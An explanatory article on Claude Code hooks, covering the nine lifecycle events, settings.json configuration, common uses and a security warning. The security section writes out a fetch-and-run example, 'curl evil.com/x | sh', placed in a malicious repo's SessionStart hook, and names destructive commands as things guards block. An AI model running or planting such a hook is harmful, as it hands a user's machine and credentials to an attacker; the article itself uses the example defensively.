ellypsis~/library/
questions
ODENSE Talk to us
← library
artikel · 6 min read

What Are Claude Code Hooks and What Can You Actually Do with Them?

10 Apr 2026
guest@ellypsis:~$ cat tldr.md

A hook is deterministic code that runs whether or not the model wants it to. Nine lifecycle events, configured in settings.json, running with the full permissions of your user account.

Claude Code hooks are user-defined shell commands that run automatically at fixed points in a Claude Code session. There are 9 lifecycle events: PreToolUse, PostToolUse, UserPromptSubmit, SessionStart, SessionEnd, Stop, SubagentStop, Notification, and PreCompact. You configure them in settings.json. They run with your full user permissions.

The model is the brain. Hooks are the reflexes.

A hook is not a prompt and not a tool. It is deterministic code that fires whether or not the model decides to call it.

A prompt asks Claude to behave a certain way. A hook does not ask. When the configured event happens, the shell command runs. The model has no say in the matter. That difference is the whole point: anything you cannot afford to leave to model judgment, you wire to a hook.

The Anthropic documentation describes hooks as the mechanism for converting "prompt-based suggestions into deterministic code execution." In practice this means linting, formatting, logging, and command-level blocking stop being things you hope the model remembers and start being things the system guarantees.

The 9 lifecycle events

Claude Code exposes 9 named events. Each one corresponds to a moment in the session where you can attach a shell command.

  • PreToolUse fires before any tool call. It can approve the tool call, block it, or rewrite its context. This is the only hook that can stop Claude from acting.
  • PostToolUse fires after a tool call succeeds. It receives both the input and the response. Useful for formatting files Claude just edited, or logging what happened.
  • UserPromptSubmit fires when you send a prompt, before Claude processes it. Its stdout gets injected back into Claude's context. This is how teams force project rules, dates, or env state into every turn.
  • SessionStart fires when Claude starts or resumes a session. Same stdout-into-context behavior as UserPromptSubmit. Common use: load recent commits, open issues, or current branch state so the model starts informed.
  • SessionEnd fires when the session terminates. Cleanup, final logging, archive transcripts.
  • Stop fires when Claude finishes responding. You can block the stop and force Claude to continue if a check fails (tests not run, lint not clean).
  • SubagentStop fires when a subagent spawned via the Task tool finishes. Same control as Stop, scoped to subagents.
  • Notification fires when Claude sends a system notification (waiting for input, long task done). Common rewiring target: route to Slack, Discord, or a custom webhook instead of the OS notifier.
  • PreCompact fires before Claude compacts its context window. The matcher distinguishes automatic from manual compaction. Useful for backing up the full transcript before it gets summarized away.

Events fall into three cadences: once per session (SessionStart, SessionEnd), once per turn (UserPromptSubmit, Stop), and on every tool call (PreToolUse, PostToolUse). The other three fire on their specific triggers.

How you configure them

Hooks live in JSON, not in code Claude writes. You define them in settings.json at either the user level (~/.claude/settings.json) or the project level (.claude/settings.json).

The shape is consistent. You name the event, optionally add a matcher to scope it to specific tools (Bash, Edit, Write), and provide a shell command. When the event fires and the matcher matches, Claude Code pipes a JSON payload to your command via stdin and waits for it to finish.

A minimal PreToolUse hook that blocks any rm -rf looks like a few lines of JSON pointing at a shell script that reads stdin, greps for the dangerous pattern, and exits with code 2 to signal a block. That is the whole shape. Exit code 0 means proceed. Exit code 2 means block, with stderr fed back to Claude as the reason. Other non-zero codes log a non-blocking error.

Project-level settings ship in the repo, which means hooks become part of how a codebase is worked on, not just how one developer configured their machine. Open a repo, hooks come with it.

What people actually build with hooks

Four patterns cover most of what teams ship. They map cleanly to the events.

Safety guards. PreToolUse hooks that inspect every Bash command before it runs. Block rm -rf /, block writes to .env, block any tool call touching a path outside the project. The hook sees the full command string including pipes and subshells, which is why this works better than allowlisting Claude's tool-use intent.

Auto-formatters. PostToolUse hooks that run Prettier, Black, gofmt, or rustfmt on whatever file Claude just touched. The model never has to remember to format. The system enforces it on every edit. Code style stops being a prompt problem.

Audit logging. PostToolUse and Stop hooks that append every tool call, every prompt, and every completion to a structured log. For regulated work this is the difference between "we used AI" and "here is exactly what the AI did, when, and with what inputs." The MCP article in this library goes into why that audit surface matters as agents touch real business data.

Context injection. SessionStart and UserPromptSubmit hooks that echo project rules, the current date, recent git history, or open issues into Claude's context. Anything you find yourself pasting at the top of every session, you wire to a hook instead.

A fifth pattern is showing up in teams running long agentic sessions: Stop hooks that gate-keep completion. If tests fail, the hook blocks Stop and tells Claude what is still broken. The model cannot declare itself done until the deterministic check agrees.

The security model: hooks are you

A hook is a shell command running on your machine, under your user account, with everything your shell can reach.

Anthropic's documentation states this directly: hooks "execute arbitrary shell commands on your system automatically" with "the full permissions of your user account." That means access to your filesystem, your environment variables (every API key, every token), your SSH agent, your cloud CLIs. If your shell can do it, a hook can do it.

This matters most for SessionStart and project-level hooks. A malicious repo with a .claude/settings.json that runs curl evil.com/x | sh on SessionStart owns your machine the moment you open the project in Claude Code. Anthropic's own docs flag this: review hook scripts before trusting a project directory.

Two practical rules. First, treat .claude/settings.json like you treat a Makefile or a package.json postinstall script. Read it before you run it. Second, do not rely on hooks as the security layer for the agent itself. They are guardrails, not sandboxes. A clever prompt injection can still talk Claude into doing something the hooks did not anticipate. Hooks reduce variance. They do not eliminate it.

What changes when you start using hooks

The gap between Claude Code as a clever assistant and Claude Code as a production tool is mostly a hook gap.

Without hooks, every session is a fresh negotiation with the model about how it should behave in your codebase. With hooks, the rules are wired into the loop. Formatting is non-negotiable. Dangerous commands cannot run. The session opens with your project context already loaded. Every action is logged.

The interesting part is what this unlocks for solo operators and small teams. You do not need a platform team to enforce code review or audit trails. You need maybe 200 lines of JSON and shell across a handful of hooks. The infrastructure that used to require a CI system, a policy server, and a logging pipeline now runs locally, attached to your editor session, configured once.

Hooks are the place where Claude Code stops being a chat box and starts being a programmable agent runtime. That shift is the actual feature.

For the protocol Claude uses to connect to external systems, see What Is MCP and Why It Matters for Your Business?.

FREQUENTLY ASKED QUESTIONS
What is a Claude Code hook in simple terms?

A Claude Code hook is a shell command that runs automatically when a specific event happens in a Claude Code session, like before a tool call or when the session starts. You configure hooks in a settings.json file. They run deterministically, with your user permissions, regardless of what the model decides to do.

What are the 9 Claude Code hook events?

The 9 lifecycle events are PreToolUse, PostToolUse, UserPromptSubmit, SessionStart, SessionEnd, Stop, SubagentStop, Notification, and PreCompact. Each fires at a specific moment: before or after a tool call, when you submit a prompt, when sessions begin or end, when Claude finishes responding, when a subagent finishes, on notifications, and before context compaction.

Where do I configure Claude Code hooks?

Hooks live in settings.json, either at the user level (~/.claude/settings.json) for all your sessions or at the project level (.claude/settings.json) checked into a repo. You name the event, optionally add a matcher to scope it to certain tools, and provide a shell command. Claude Code pipes event JSON to the command via stdin.

Are Claude Code hooks safe to use?

Hooks run with the full permissions of your user account, including access to environment variables, credentials, and your filesystem. They are safe when you write them yourself or audit them before use. Treat project-level .claude/settings.json like any other executable script in a repo. Review hook code before opening an untrusted project in Claude Code.

What is the difference between a hook and an MCP server?

An MCP server gives Claude new capabilities through a standard protocol. A hook attaches deterministic code to lifecycle events. MCP extends what Claude can do. Hooks control what Claude does at fixed points in the session. They solve different problems and are typically used together: MCP for connectivity, hooks for guardrails and enforcement.